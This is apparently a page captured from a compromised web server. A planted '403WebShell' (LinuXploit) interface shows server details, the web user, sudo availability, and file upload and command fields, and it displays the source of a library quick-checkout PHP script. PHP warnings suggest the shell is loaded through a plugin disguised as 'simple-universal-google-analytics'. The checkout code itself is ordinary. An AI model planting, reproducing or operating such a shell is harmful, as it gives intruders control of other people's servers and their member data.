Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/_oldsite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/_oldsite/terminal.php
<?php

	require './inc/include.php';

	$DATABASE->Open();
	$FIELDDEFS1 = array('id' => array('opt' => INP_BOOKLIST, 'lbl' => '&Member List', 'ht' => 18, 'wd' => 480));
	$errcount = ifp_PrepareData($DATA, '', '', $FIELDDEFS1);
	
	if ($_COOKIE['auth'] != $VALIDATION) ip_access_denied();
	$VARIABLE['menu_right'] = '';
	
	if ($operation == 'this is me' || $isPost) {		// when spacebar or enter pressed, $operation will be empty
		$id = isset($_POST['id']) ? intval($_POST['id']) : 0; 
		if ($id) {
			header("Location: http://$HOST/scanbooks.php?id=$id");
			$DATABASE->Close();
			exit;
		}
	}
	
	$text = ifp_GeneratePage($FIELDDEFS1);
	$DATABASE->Close();

function __ibp_processmember(&$ITEM, &$param) {
	$surname = ip_quote(strtoupper($ITEM['bm_surname']));
	$firstname = ip_quote($ITEM['bm_firstname']);
	if ($firstname != '') $surname .= ", $firstname";
	$param[$ITEM['bm_id']] = $surname;
}

function ibp_CreateMemberlist() {
		global $DATABASE;
		$sql = <<<BLOCK
select bm_id,bm_surname,bm_firstname from dt_member where bm_id<>-2 order by bm_surname,bm_firstname
BLOCK;
		$result = $DATABASE->Query($sql, '__ibp_processmember', array());
		DatabaseError();
		return $result;
}
		
function user_selectbook($fieldname, $options, $width, $height) {
	global $VARIABLE;
	$books = ibp_CreateMemberlist();
	$booklist = '';
	$value = isset($VARIABLE[$fieldname]) ? $VARIABLE[$fieldname] : '';
	foreach($books as $id => $data) {
		$key = $id;
		$sel = ($value == $key) ? ' selected' : '';
		$booklist .= "\n<option value=\"$key\"$sel>$data</option>";
	}
	if (!$height) $height = 18;

	return "<tr><td><select name=\"$fieldname\" id=\"$fieldname\" style=\"width:$width\" size=\"$height\">$booklist</select></td></tr>";
}

$VARIABLE['css'] .= <<<BLOCK
#priceCheck h1 {
	font-family: tahoma, Arial, Helvetica, sans-serif;
	font-weight: bold;
	font-size: 1.5em;
	color: #003399;
}

#popUpBackground {
	display:none;
	position:fixed;
	_position:absolute; /* hack for internet explorer 6*/
	width:100%;
	height: 100%;
	top:0;
	left:0;
	background:#000000;
	border:1px solid #cecece;
	z-index:1000010;
}

#priceCheck {
	display:none;
	position:fixed;
	_position:absolute; /* hack for internet explorer 6*/
	width:585px;
	background:#FFFFFF;
	border:2px solid #cecece;
	z-index:1000020;
	padding:5px;
	font-size:13px;
	text-align: center;
	font-family: tahoma, Arial, Helvetica, sans-serif;
}

#poptitle {
	font-size: 16pt;	
	font-weight: bold;
}
#popprice {
	font-size: 76pt;
}
#popdetails {
}

BLOCK;

$VARIABLE['javascript'] .= <<<BLOCK

popupLoaded = -1;
$(document).keydown(function(e){
	if(e.keyCode==32 || e.keyCode==13) {
		document.f.submit();
		return false;
	} else if(e.keyCode==27 && popupLoaded==1){
		pricecheck_hide();
		return false;
	}
});
		
function pricecheck_hide() {
	if(popupLoaded > 0){
		popupLoaded = 0;
		$('#popUpBackground').fadeOut('fast');
		$('#priceCheck').fadeOut('fast');
	}
}

function pricecheck_load() {
	if (popupLoaded <= 0) {
		var windowWidth = $(document).width(); 
		var windowHeight = $(document).height();

		// width, height values current set on the element
		var popupHeight = $("#priceCheck").height();
		var popupWidth = $("#priceCheck").width();

		$("#priceCheck").css({
			"position": "fixed",
			"top": ($(window).height()-popupHeight)/2,
			"left": ($(window).width()-popupWidth)/2
		});
		
		$("#popUpBackground").css({
			"height": windowHeight
		});
		popupLoaded = 0;
	}
	if (!popupLoaded) {
		$("#popUpBackground").css({
			"opacity": "0.7"
		});
		$("#popUpBackground").fadeIn('fast');
		$("#priceCheck").fadeIn('fast');
		popupLoaded = 1;
	}
}

function pricecheck(barcode) {
	$.get('/pricecheck.php?bc=' + barcode, function(data) {
		$('#priceCheck').html(data);
		pricecheck_load();
	});
}

BLOCK;

	echo page_header('Checkout');
echo <<<BLOCK
<h2>Quick Checkout</h2>

<h3 id="anchor">Step 1 of 3: Tell us who you are</h3>

<p>Please use the barcode scanner to scan your Library Card or the back of your Driver's License. Alternatively choose from the list below:</p>
<form method="post" action="http://$THIS_URL" name="f"><table border="0">
$text
<tr><td align="right"><input type="hidden" name="pg" value="2"><input name="s" type="submit" value="   this is me   "></td></tr>
</table></form>
<script type="text/javascript">
document.f.id.focus();
</script>
<p>Type in the first letter of your surname, then use the Up and Down Arrow keys.  Press the &lt;Enter&gt; key when your name is highlighted.</p>

<div id="priceCheck"></div>
<div id="popUpBackground"></div>

BLOCK;

	echo page_footer();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit